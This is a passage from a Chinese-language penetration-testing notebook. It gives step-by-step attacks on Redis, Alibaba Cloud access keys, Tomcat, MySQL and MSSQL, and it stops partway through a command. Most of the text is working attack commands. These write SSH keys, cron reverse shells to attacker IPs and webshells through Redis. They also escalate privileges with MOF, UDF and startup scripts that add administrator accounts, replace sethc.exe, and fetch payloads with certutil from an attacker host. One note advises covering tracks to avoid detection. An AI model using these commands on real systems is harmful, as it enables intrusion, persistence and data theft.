1545 | 
1546 |
1547 | 利用二
1548 |
1549 | ```
1550 | >ssh-keygen -t rsa
1551 | >(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > qq.txt
1552 | >cat qq.txt | redis-cli -h 127.0.0.1 -x set crackit
1553 | >redis-cli -h 127.0.0.1
1554 | 6379> config set dir /root/.ssh/
1555 | 6379> config set dbfilename "authorized_keys"
1556 | 6379> save
1557 | ```
1558 |
1559 |
1560 |
1561 | ##### 写计划任务反弹shell
1562 |
1563 | 定时任务位置位于文件:/var/spool/cron/用户名
1564 |
1565 | **原理**
1566 |
1567 | /var/spool/cron/目录下存放的为以各个用户命名的计划任务文件,root用户可以修改任意用户的计划任务。dbfilename设置为root为用root用户权限执行计划任务。
1568 |
1569 | **执行命令反弹shell(写计划任务时会覆盖原来存在的用户计划任务).写文件之前先获取dir和dbfilename的值,以便恢复redis配置,将改动降到最低,避免被发现**。
1570 |
1571 | **利用条件**
1572 |
1573 | redis是root用户启动
1574 |
1575 | **坑:crontab反弹debian,ubuntu都不行**,因为他们对计划任务的格式很严格,必须要执行
1576 | `crontab -u root /var/spool/cron/crontabs/root`
1577 | 通过语法检查后,才能执行计划任务。
1578 |
1579 | 执行
1580 |
1581 | ```
1582 | #获取dir的值
1583 | config get dir
1584 | #获取dbfilename的值
1585 | config get dbfilename
1586 | #设置数据库备份目录为linux计划任务目录
1587 | config set dir '/var/spool/cron/'
1588 | #设置备份文件名为root,以root身份执行计划任务
1589 | config set dbfilename 'root'
1590 | #删除所有数据库的所有key
1591 | flushall
1592 | #设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,此处可以直接调用lua语句。
1593 | eval "redis.call('set','cron',string.char(10)..ARGV[1]..string.char(10))" 0 '*/1 * * * * bash -i >& /dev/tcp/10.10.19.29/8080 0>&1'
1594 | #保存
1595 | save
1596 | #删除新增的key
1597 | del cron
1598 | #恢复dir和dbfilename
1599 | config set dir '***'
1600 | config set dbfilename '***'
1601 | ```
1602 |
1603 | 利用
1604 |
1605 | ```
1606 | redis 192.168.242.134:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.242.131/888 0>&1\n"
1607 | redis 192.168.242.134:6379> config set dir /var/spool/cron/
1608 | redis 192.168.242.134:6379> config set dbfilename root
1609 | redis 192.168.242.134:6379> save
1610 | ```
1611 |
1612 | ##### 写webshell
1613 |
1614 | 利用条件
1615 |
1616 | 1. 已知web的绝对路径
1617 | 2. 具有读写权限
1618 |
1619 | ```
1620 | redis-cli -h 192.168.1.154
1621 | config set dir /var/www/html
1622 | set xxx "\n\n\n\n\n\n"
1623 | config set dbfilename webshell.php
1624 | save
1625 | ```
1626 |
1627 | ##### 利用主从复制获取shell
1628 |
1629 | 利用脚本1
1630 |
1631 | ```
1632 | git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
1633 | cd RedisModules-ExecuteCommand/
1634 | make
1635 | git clone https://github.com/Ridter/redis-rce
1636 | python redis-rce.py -r 192.168.1.154 -L 192.168.1.153 -f module.so
1637 | ```
1638 |
1639 | 脚本2
1640 |
1641 | ```
1642 | https://github.com/vulhub/redis-rogue-getshell
1643 | 需要python3.0以上
1644 | 编译
1645 | >cd RedisModulesSDK/
1646 | >make
1647 | 会在此目录下生成exp.so
1648 | 执行命令
1649 | >python3 redis-master.py -r 192.168.0.120 -p 6379 -L 192.168.0.108 -P 12138 -f RedisModulesSDK/exp.so -c "cat /etc/passwd"
1650 |
1651 | https://github.com/n0b0dyCN/redis-rogue-server
1652 | 需要python3.6以上
1653 | 编译
1654 | >cd RedisModulesSDK/exp
1655 | >make
1656 | 执行
1657 | >./redis-rogue-server.py --rhost 192.168.0.120 --lhost 192.168.0.108
1658 | ```
1659 |
1660 |
1661 |
1662 |
1663 |
1664 | 相关利用工具
1665 |
1666 | https://github.com/00theway/redis_exp
1667 |
1668 | https://github.com/r35tart/RedisWriteFile
1669 |
1670 | ##### 其他姿势
1671 |
1672 | Windows下如何getshell?
1673 |
1674 | - 写入webshell,需要知道web路径
1675 | - 写入启动项,需要目标服务器重启
1676 | - 系统dll劫持
1677 | - 覆盖软件或者中间件配置文件
1678 | - 覆盖快捷方式
1679 | - 覆盖粘滞键,放大镜
1680 | - 写入MOF,MOF每隔5秒钟会自动执行一次,适用于Windows2003。
1681 |
1682 | 实战在生产环境下用还是会有很多问题的
1683 |
1684 | 1. redis数据量稍微大一点,写shell到文件之后,php因为文件太大是会拒绝执行的
1685 | 2. Ubuntu,Debian写计划任务反弹无用
1686 | 3. 写/etc/passwd会覆盖原有/etc/passwd,不可能改了再改回来
1687 | 4. 生产环境下用`KEY *` 这样的命令直接炸
1688 |
1689 |
1690 |
1691 |
1692 |
1693 |
1694 |
1695 | ## 敏感信息泄漏利用
1696 |
1697 |
1698 |
1699 | ### 阿里云Access Key利用
1700 |
1701 | 首先用行云管家导入云主机,网站地址:https://yun.cloudbility.com/
1702 |
1703 | 步骤:选择阿里云主机 -> 导入key id跟key secret -> 选择主机 -> 导入即可(名字随便输)
1704 |
1705 | 我们用这个只是为了得到两个数据,就是**实例ID以及所属网络**,拿到就可以走人了.
1706 |
1707 | 这里我们打开阿里API管理器,这个是阿里提供给运维开发人员使用的一个工具,
1708 |
1709 | https://api.aliyun.com/#/?product=Ecs
1710 |
1711 | 点击左边的搜素框输入command,我们会用到CreateCommand跟InvokeCommand,CreateCommand是创建命令,InvokeCommand是调用命令。继续往下看
1712 |
1713 |
1714 |
1715 | 
1716 |
1717 |
1718 |
1719 |
1720 |
1721 |
1722 |
1723 | Name部分随意
1724 |
1725 | Type指的是执行脚本类型
1726 |
1727 | RunBatScript:创建一个在Windows实例中运行的 Bat 脚本。
1728 |
1729 | RunPowerShellScript:创建一个在Windows实例中运行的PowerShell脚本。
1730 |
1731 | RunShellScript:创建一个在Linux实例中运行的Shell脚本。
1732 |
1733 | CommandContent为执行命令,需要注意的是这里是填写base64编码。
1734 |
1735 | 填写完后选择python
1736 |
1737 |
1738 |
1739 | 
1740 |
1741 |
1742 |
1743 |
1744 |
1745 | 点击**调试SDK示例代码**,此时会弹出Cloud shell窗口,并创建一个CreateCommand.py文件,用vim编辑器打开CreateCommand.py,修改accessKeyId与accessSecret。
1746 |
1747 |
1748 |
1749 | 
1750 |
1751 |
1752 |
1753 | 
1754 |
1755 |
1756 |
1757 | 执行CreateCommand.py,会返回一个RequestId与CommandId,记录CommandId,后面调用命令会用到。
1758 |
1759 |
1760 |
1761 | 
1762 |
1763 |
1764 |
1765 | 打开InvokeCommand
1766 |
1767 | RegionId填写行云管家中的所属网络
1768 |
1769 | CommandId填写刚刚执行CreateCommand.py返回的CommandId
1770 |
1771 | InstanceId填写示例ID,行云管家中获取到的那个
1772 |
1773 | 继续点击**调试SDK代码**,会生成一个InvokeCommand.py文件,同样用vim编辑器把accessKeyId与accessSecret修改了。
1774 |
1775 |
1776 |
1777 | 
1778 |
1779 |
1780 |
1781 |
1782 |
1783 | 修改完成后使用nc监听端口,执行InvokeCommand.py。
1784 |
1785 |
1786 |
1787 | 
1788 |
1789 |
1790 |
1791 | 成功执行命令反弹shell,收工。
1792 |
1793 | #### alicloud利用工具
1794 |
1795 | https://github.com/iiiusky/alicloud-tools
1796 |
1797 |
1798 |
1799 |
1800 |
1801 | ## 中间件安全
1802 |
1803 |
1804 |
1805 | ### tomcat安全
1806 |
1807 | 参考:https://www.anquanke.com/post/id/223002 不安全的中间件——Tomcat
1808 |
1809 |
1810 |
1811 | **自带的默认应用**
1812 |
1813 | 1. examples目录
1814 |
1815 | 1. 信息泄漏
1816 | 2. /examples/servlets/servlet/SessionExample 允许用户对session进行操纵(老系统可能出现)
1817 |
1818 | 2. admin管理页面
1819 |
1820 | 1. Tomcat 5.0.4版本之前都是默认安装,.5.0.4之后版本默认存在该目录,但是功能并不全
1821 |
1822 | 1. 默认路径为/admin
1823 | 2. tomcat-user.xml文件中进行账号密码的配置
1824 | 3. 功能和manager下面的差不多
1825 |
1826 | 2. manager管理页面
1827 |
1828 | 1. 最常见的,基本tomcat默认都有
1829 | 2. 默认没有设置登录口令,需要tomcat-user.xml文件中进行账号密码的配置
1830 | 3. 登录使用的Basic认证方式(请求头里面的Authorization为base64编码,可以用burp爆破)
1831 | 4. Tomcat manager包含4个不同的角色:
1832 | - manager-gui:允许访问html页面接口(即URL路径为/manager/html/*)
1833 | - manager-script:允许访问纯文本接口(即URL路径为/manager/text/*)
1834 | - manager-jmx:允许访问JMX代理接口(即URL路径为/manager/jmxproxy/*)
1835 | - manager-status:允许访问Tomcat只读状态页面(即URL路径为/manager/status/*)
1836 | 5. 部署war包拿shell
1837 |
1838 | 3. AJP协议
1839 |
1840 | 1. 比较鸡肋
1841 | 2. 目前爆出的可直接利用的就是CVE-2020-1938(AJP文件包含漏洞)
1842 |
1843 | 4. debug模式
1844 |
1845 | 1. 默认不开启
1846 | 2. 调试端口8000,指纹jdwp
1847 | 3. 低版本的jdk中会存在漏洞,可以通过jdwp来执行系统命令
1848 |
1849 | 5. CVE-2016-8735反序列化
1850 |
1851 | 1. 条件:配置JMX做监控时使用了JmxRemoteLifecycleListener
1852 | 2. ysoserial来进行漏洞攻击利用
1853 |
1854 | 6. CVE-2017-12615 & CVE-2017-12616 put文件上传
1855 |
1856 | 1. 范围7.0.0 – 7.0.79
1857 | 2. 条件:手动将web.xml中的readonly设置为false
1858 | 3. 利用构造put上传shell,返回201为成功
1859 |
1860 | 7. CVE-2019-0232命令注入
1861 |
1862 | 1. 该漏洞的利用条件较为苛刻,需同时满足下列条件:
1863 |
1864 | 1. 系统为Windows
1865 | 2. 启用了CGI Servlet(默认为关闭)
1866 | 3. 启用了enableCmdLineArguments(Tomcat 9.0.*及官方未来发布版本默认为关闭)
1867 |
1868 | 影响范围:
1869 |
1870 | ```
1871 | 9.0.0.M1-9.0.17
1872 | 8.5.0-8.5.39
1873 | 7.0.0-7.0.93
1874 | ```
1875 |
1876 | 8. CVE-2020-1938 AJP缺陷
1877 |
1878 | 1. 文件读取,代码执行
1879 |
1880 | 2. 范围
1881 |
1882 | ```
1883 | Apache Tomcat 6
1884 | Apache Tomcat 7 < 7.0.100
1885 | Apache Tomcat 8 < 8.5.51
1886 | Apache Tomcat 9 < 9.0.31
1887 | ```
1888 |
1889 |
1890 |
1891 | ## 数据库安全
1892 |
1893 | ### mysql渗透总结
1894 |
1895 | #### 一、sqlshell获取
1896 |
1897 | 要利用mysql首先得拿到一个可以执行sql的mysql才能利用,下面就说一下几种常见姿势,欢迎补充。
1898 |
1899 | 1、弱口令
1900 |
1901 | 这个比较简单,网上工具很多如美杜莎,九头蛇这些比较知名的,msf也有相应的模块。我自己之前也写过一个。要是运气好的话直接跑到弱口令就直接进去,当然也可以配合社工字典来跑这样成功率更高。
1902 |
1903 | 2、文件读取漏洞
1904 |
1905 | 需要挖一个任意文件读取漏洞,然后利用读网站的配置文件,里面存放着数据库账号密码。
1906 |
1907 | 3、信息泄露
1908 |
1909 | 扫目录扫网站备份文件,或者git泄露
1910 |
1911 | 4、sql注入
1912 |
1913 | 这个不用多说,要是权限够大直接sqlmap os-shell一把梭
1914 |
1915 | 5、身份认证绕过漏洞(CVE-2012-2122)
1916 |
1917 | 受影响版本:
1918 |
1919 | MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
1920 |
1921 | MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
1922 |
1923 | 也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。
1924 |
1925 | 在msf里面有模块,可以直接用auxiliary/scanner/mysql/mysql_authbypass_hashdump来跑
1926 |
1927 | 当数据库不能外连可以通过以下方法开放外连(注意防火墙):
1928 |
1929 | 可以修改`host`为`%`并刷新权限后,默认root等账号不允许远程连接
1930 |
1931 | ```
1932 | use mysql;
1933 | update user set host = '%' where user = 'root';
1934 | FLUSH PRIVILEGES ;
1935 | select host, user from user;
1936 | ```
1937 |
1938 | #### 二、mysql拿shell
1939 |
1940 | ##### 1、用命令直接导出shell
1941 |
1942 | 原理:利用导出命令来导出shell。
1943 |
1944 | 条件:
1945 |
1946 | 1. 需要知道网站的物理路径(绝对路径)
1947 |
1948 | 通过程序报错,日志泄露,phpinfo,php探针等方式可以获取到物理路径。
1949 |
1950 | 2.允许导出
1951 |
1952 | 先查看是否允许导入导出
1953 |
1954 | ```
1955 | show variables like '%secure%'
1956 |
1957 | ```
1958 |
1959 | secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
1960 |
1961 | 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下,此时如果读写发生在其他文件夹,就会报告如下错误:
1962 |
1963 | ```
1964 | RROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
1965 |
1966 | ```
1967 |
1968 | 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
1969 |
1970 | 如果条件都满足的话,就可以开始了
1971 |
1972 | outfile
1973 |
1974 | ```
1975 | select '' into outfile '/var/www/xx.php';
1976 |
1977 | ```
1978 |
1979 | dumpfile
1980 |
1981 | ```
1982 | select '' into dumpfile '/var/www/xx.php';
1983 |
1984 | ```
1985 |
1986 | 注意:outfile函数可以导出多行,而dumpfile只能导出一行数据outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式
1987 |
1988 | 借助表导出。
1989 |
1990 | ```
1991 | Drop TABLE IF EXISTS temp;
1992 | Create TABLE temp(cmd text NOT NULL);
1993 | Insert INTO temp (cmd) VALUES('');
1994 | Select cmd from temp into out file '/var/www/xx.php';
1995 | Drop TABLE IF EXISTS temp;
1996 |
1997 | ```
1998 |
1999 | 也可以用mysql 的 -e 参数
2000 |
2001 | ```
2002 | mysql -u user -p passwd -e "select '' into outfile '/var/www/xxx.php'"
2003 | ```
2004 |
2005 | ##### 2、利用general_log拿shell
2006 |
2007 | 如果导入导出被禁用了就可以用这个方法试试。
2008 |
2009 | 原理:利用修改日志文件路径,往日志文件写入一句话。
2010 |
2011 | 条件:
2012 |
2013 | 1.对应web目录有写权限
2014 |
2015 | 2.需要有物理路径
2016 |
2017 | 3.如果拿到的是注入,还需要能执行堆叠注入
2018 |
2019 | 4.root用户,或者有对应权限的用户
2020 |
2021 | 利用如下:开启日志,更改路径,把一句话写入日志文件。
2022 |
2023 | ```
2024 | set global general_log=on;
2025 | set global general_log_file='/var/www/1.php';
2026 | select '';
2027 | ```
2028 |
2029 |
2030 |
2031 | **3.写加密马**
2032 |
2033 | 把冰蝎,哥斯拉的马儿进行base64编码,然后写一个普通的abb.php就访问abb.php会在当前路径生成abab.php
2034 |
2035 | ```
2036 | select '' into outfile 'C:/wamp/www/abb.php';
2037 | ```
2038 |
2039 |
2040 |
2041 | #### 三、任意文件读取
2042 |
2043 | 既然有文件导出,肯定也有文件导入。关于任意文件读取怎么用,我之前总结过。
2044 |
2045 | 条件:和导出shell的条件一样。
2046 |
2047 | 利用:先创建一张表,读取文件内容到表。
2048 |
2049 | ```
2050 | create table a (v text);
2051 | load data infile 'file_name' into table table_name fields terminated by '分隔符'
2052 |
2053 | ```
2054 |
2055 | 例如读text.txt:
2056 |
2057 | ```
2058 | load data infile 'C:/phpstudy/MySQL/test.txt' into table a fields terminated by ',';
2059 | ```
2060 |
2061 | 查看内容
2062 |
2063 | ```
2064 | SELECT * FROM a
2065 | ```
2066 |
2067 | #### 四、mysql提权
2068 |
2069 | 先推荐一个小工具https://github.com/T3st0r-Git/HackMySQL
2070 |
2071 | **1、mof提权**
2072 |
2073 | 原理:
2074 |
2075 | 利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。
2076 |
2077 | 条件:
2078 |
2079 | 1、mof提权的前提是root用户
2080 |
2081 | 2、可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下
2082 |
2083 | 利用:
2084 |
2085 | 网上工具也很多,可以直接用msf的exploit/windows/mysql/mysql_mof模块,执行成功后会直接反弹meterpreter。
2086 |
2087 | **2、udf提权**
2088 |
2089 | 原理:
2090 |
2091 | UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。
2092 |
2093 | 条件:
2094 |
2095 | 1、系统是Windows(Win2000,XP,Win2003);有一个mysql数据库的账户拥有insert和delete权限,以创建和抛弃函数。
2096 |
2097 | 2、Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
2098 |
2099 | 3、Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\
2100 |
2101 | system32。
2102 |
2103 | 4、拥有相应目录的写权限
2104 |
2105 | 注意:一般Lib、Plugin文件夹需要手工建立(也可用NTFS ADS流模式突破进而创建文件夹)
2106 |
2107 | ```
2108 | select @@basedir; //查找到mysql的目录
2109 | select 'It is dll' into dumpfile 'C:\\\ProgramFiles\\\MySQL\\\MySQL Server 5.1\\\lib::$INDEX\_ALLOCATION'; //利用NTFS ADS创建lib目录
2110 | select 'It is dll' into dumpfile 'C:\\\ProgramFiles\\\MySQL\\\MySQL Server 5.1\\\lib\\\plugin::$INDEX\_ALLOCATION'; //利用NTFS ADS创建plugin目录
2111 | ```
2112 |
2113 | 利用:
2114 |
2115 | 直接用msf的use exploit/multi/mysql/mysql_udf_payload模块.
2116 |
2117 | msf会将dll文件写入lib\plugin\目录下(前提是该目录存在,如果该目录不存在的话,则无法执行成功),dll文件名为**随机生成**的名字(记下来后面手动创建需要用到)。该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。
2118 |
2119 | 手动创建sys_eval()
2120 |
2121 | ```
2122 | create function sys_eval returns string soname 'SGJECYG.dll';
2123 | ```
2124 |
2125 | 执行手动创建的函数
2126 |
2127 | ```
2128 | select sys_eval('whoami');
2129 | ```
2130 |
2131 | 检查有没有创建成功
2132 |
2133 | ```
2134 | select * from mysql.func where name = 'sys_eval';
2135 | ```
2136 |
2137 | 删除函数
2138 |
2139 | ```
2140 | drop function sys_eval;
2141 | ```
2142 |
2143 | **3、启动项提权**
2144 |
2145 | 原理:本质还是用导出命令来实现,导出脚本到启动目录,服务器重启就执行脚本。
2146 |
2147 | 条件:上面说过了。
2148 |
2149 | 利用:
2150 |
2151 | 写个vbs到启动目录,想办法让服务器重启。
2152 |
2153 | ```
2154 | 1,开始菜单当前用户启动文件夹--C:\\Users\\用户名\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup
2155 | 2,开始菜单所有用户启动文件夹--C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp
2156 | 3,注册表当前用户开机启动项目录--HKEY\_CURRENT\_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
2157 | 4,注册表所有用户开机启动项目录--HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
2158 | ```
2159 |
2160 | 写脚本
2161 |
2162 | ```
2163 | create table a (cmd text);//创建表
2164 | insert into a values ("set wshshell=createobject(""wscript.shell"") " );//写数据到表
2165 | insert into a values ("a=wshshell.run(""cmd.exe /c net user aabbcc 123456 /add"",0) " );
2166 | insert into a values ("b=wshshell.run(""cmd.exe /c net localgroup administrators aabbcc/add"",0) " );
2167 | select * from a into outfile "C:\\\Documents andSettings\\\All Users\\\「开始」菜单\\\程序\\\启动\\\a.vbs";//导出vbs
2168 | ```
2169 |
2170 | msf下也有对应模块exploit/windows/mysql/mysql_start_up
2171 |
2172 | #### 五、拓展
2173 |
2174 | 其他常用msf模块
2175 |
2176 | exploit/windows/mysql/scrutinizer_upload_exec(上传文件执行)
2177 |
2178 | auxiliary/scanner/mysql/mysql_hashdump(mysql的mysql.user表的hash)
2179 |
2180 | auxiliary/admin/mysql/mysql_sql(执行sql语句,navicat更香)
2181 |
2182 | auxiliary/scanner/mysql/mysql_version(识别版本)
2183 |
2184 | #### 六、参考
2185 |
2186 | https://xz.aliyun.com/t/3973
2187 |
2188 | https://xz.aliyun.com/t/1491
2189 |
2190 | https://blog.csdn.net/qq_37077262/article/details/102964050
2191 |
2192 | http://www.safe6.cn/article/108
2193 |
2194 | https://blog.csdn.net/qq_36119192/article/details/84863268
2195 |
2196 | https://www.freebuf.com/articles/system/163144.html
2197 |
2198 |
2199 |
2200 | ### mssql渗透总结
2201 |
2202 | 膜拜大佬文章https://y4er.com/post/mssql-getshel
2203 |
2204 | #### getshell
2205 |
2206 | 能否getshell要看你当前的用户权限,如果是没有进行降权的sa用户,那么你几乎可以做任何事。当然你如果有其他具有do_owner权限的用户也可以。
2207 |
2208 | 拿shell的两大前提就是
2209 |
2210 | 1. 有相应的权限db_owner
2211 | 2. 知道web目录的绝对路径
2212 |
2213 | 我们先来了解下怎么去寻找web目录的绝对路径。
2214 |
2215 | ##### 寻找绝对路径
2216 |
2217 | 1. 报错信息
2218 | 2. 字典猜
2219 | 3. 旁站的目录
2220 | 4. 存储过程来搜索
2221 | 5. 读配置文件
2222 |
2223 | 前三种方法都是比较常见的方法。我们主要来讲第四种调用存储过程来搜索。
2224 |
2225 | 在mssql中有两个存储过程可以帮我们来找绝对路径:`xp_cmdshell xp_dirtree`
2226 |
2227 | 先来看`xp_dirtree`直接举例子
2228 |
2229 | ```mssql
2230 | execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录
2231 | execute master..xp_dirtree 'c:',1 --只列c:\目录
2232 | execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件
2233 | ```
2234 |
2235 | 当实际利用的时候我们可以创建一个临时表把存储过程查询到的路径插入到临时表中
2236 |
2237 | ```mssql
2238 | CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
2239 | insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;
2240 | ```
2241 |
2242 | 我们再来看`xp_cmdshell`怎么去找绝对路径,实际上原理就是调用cmd来查找文件,相对来说这种方法更方便。
2243 |
2244 | 当然你可能遇到xp_cmdshell不能调用 如果报错
2245 |
2246 | > SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用。
2247 |
2248 | 可以用如下命令恢复
2249 |
2250 | ```
2251 | ;EXEC sp_configure 'show advanced options',1;//允许修改高级参数
2252 | RECONFIGURE;
2253 | EXEC sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展
2254 | RECONFIGURE;--
2255 | ```
2256 |
2257 |
2258 |
2259 | 当然还不行可能xplog70.dll需要恢复,看具体情况来解决吧
2260 |
2261 | 接下来我们先来看cmd中怎么查找文件。
2262 |
2263 |
2264 |
2265 | ```
2266 | C:\Users\Y4er>for /r e:\ %i in (1*.php) do @echo %i
2267 | e:\code\php\1.php
2268 | C:\Users\Y4er>
2269 | ```
2270 |
2271 | 那么我们只需要建立一个表 存在一个char字段就可以了
2272 |
2273 | ```mssql
2274 | http://192.168.130.137/1.aspx?id=1;CREATE TABLE cmdtmp (dir varchar(8000));
2275 |
2276 | http://192.168.130.137/1.aspx?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i'
2277 | ```
2278 |
2279 | 然后通过注入去查询该表就可以了。
2280 |
2281 | ------
2282 |
2283 | 此时我们拿到绝对路径之后,我们接着往下看怎么拿shell
2284 |
2285 | ##### xp_cmdshell拿shell
2286 |
2287 | xp_cmdshell这个存储过程可以用来执行cmd命令,那么我们可以通过cmd的echo命令来写入shell,当然前提是你知道web目录的绝对路径
2288 |
2289 | ```mssql
2290 | http://192.168.130.137/1.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ;
2291 | ```
2292 |
2293 | 由于cmd写webshell的主意这些转义的问题 推荐使用certutil或者vbs什么的来下载
2294 |
2295 | ##### 差异备份拿shell
2296 |
2297 | ```mssql
2298 | 1. backup database 库名 to disk = 'c:\bak.bak';--
2299 |
2300 | 2. create table [dbo].[test] ([cmd] [image]);
2301 |
2302 | 3. insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
2303 |
2304 | 4. backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--
2305 | ```
2306 |
2307 | 因为权限的问题,最好不要备份到盘符根目录
2308 |
2309 | 当过滤了特殊的字符比如单引号,或者 路径符号 都可以使用定义局部变量来执行。
2310 |
2311 | ##### log备份拿shell
2312 |
2313 | LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的,但是使用log备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式
2314 |
2315 | ```mssql
2316 | 1. alter database 库名 set RECOVERY FULL
2317 |
2318 | 2. create table cmd (a image)
2319 |
2320 | 3. backup log 库名 to disk = 'c:\xxx' with init
2321 |
2322 | 4. insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
2323 |
2324 | 5. backup log 库名 to disk = 'c:\xxx\2.asp'
2325 | ```
2326 |
2327 | log备份的好处就是备份出来的webshell的文件大小非常的小
2328 |
2329 | #### getsystem
2330 |
2331 | 我们继续来探究怎么进行提权
2332 |
2333 | ##### xp_cmdshell
2334 |
2335 | 在2005中xp_cmdshell的权限是system,2008中是network。
2336 |
2337 | 当遇到无法写shell,或者是站库分离的时候,直接通过xp_cmdshell来下载我们的payload来上线会更加方便。下载文件通常有下面几种姿势
2338 |
2339 | 1. certutil
2340 | 2. vbs
2341 | 3. bitsadmin
2342 | 4. powershell
2343 | 5. ftp
2344 |
2345 | 这个我会放在下一篇文章中细讲。
2346 |
2347 | 通过下载文件之后用xp_cmdshell来执行我们的payload,通过Cobalt Strike来进行下一步操作,比如怼exp或许会更加方便。
2348 |
2349 | ##### sp_oacreate
2350 |
2351 | 当xp_cmdshell 被删除可以使用这个来提权试试,恢复sp_oacreate
2352 |
2353 | ```
2354 | EXEC sp_configure 'show advanced options', 1;
2355 | RECONFIGURE WITH OVERRIDE;
2356 | EXEC sp_configure 'Ole Automation Procedures', 1;
2357 | RECONFIGURE WITH OVERRIDE;
2358 | EXEC sp_configure 'show advanced options', 0;
2359 | ```
2360 |
2361 |
2362 |
2363 | sp_oacreate是一个非常危险的存储过程可以删除、复制、移动文件 还能配合sp_oamethod 来写文件执行cmd
2364 |
2365 | 在以前的系统有这几种用法
2366 |
2367 | 1. 调用cmd 来执行命令
2368 |
2369 | ```
2370 | wscript.shell执行命令
2371 |
2372 | declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c xxx'
2373 |
2374 |
2375 |
2376 | Shell.Application执行命令
2377 | declare @o int
2378 | exec sp_oacreate 'Shell.Application', @o out
2379 | exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
2380 | ```
2381 |
2382 |
2383 |
2384 | 1. 写入启动项
2385 |
2386 | ```
2387 | declare @sp_passwordxieo int, @f int, @t int, @ret int
2388 | exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out
2389 | exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'd:\RECYCLER\1.vbs', 1
2390 | exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
2391 | exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
2392 | exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
2393 | exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
2394 | exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")'
2395 | exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'
2396 | exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'
2397 | exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)'
2398 | exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';
2399 | ```
2400 |
2401 |
2402 |
2403 | 1. 粘贴键替换
2404 |
2405 | ```
2406 | declare @o int
2407 | exec sp_oacreate 'scripting.filesystemobject', @o out
2408 | exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
2409 | declare @o int
2410 | exec sp_oacreate 'scripting.filesystemobject', @o out
2411 | exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
2412 | ```
2413 |
2414 |
2415 |
2416 | 大家可以灵活运用,这里也可以这样玩,把他写成vbs或者其他的来下载文件 ,为什么不直接调用cmd来下载,再2008系统上我是不成功的,但是sp_oacreate可以启动这个文件,所以换个思路
2417 |
2418 | ```
2419 | declare @sp_passwordxieo int, @f int, @t int, @ret int;
2420 | exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out;
2421 | exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'c:\www\1.bat', 1;
2422 | exec @ret = sp_oamethod @f, 'writeline', NULL,'@echo off';
2423 | exec @ret = sp_oamethod @f, 'writeline', NULL,'start cmd /k "cd c:\www & certutil -urlcache -split -f http://192.168.130.142:80/download/file.exe"';
2424 |
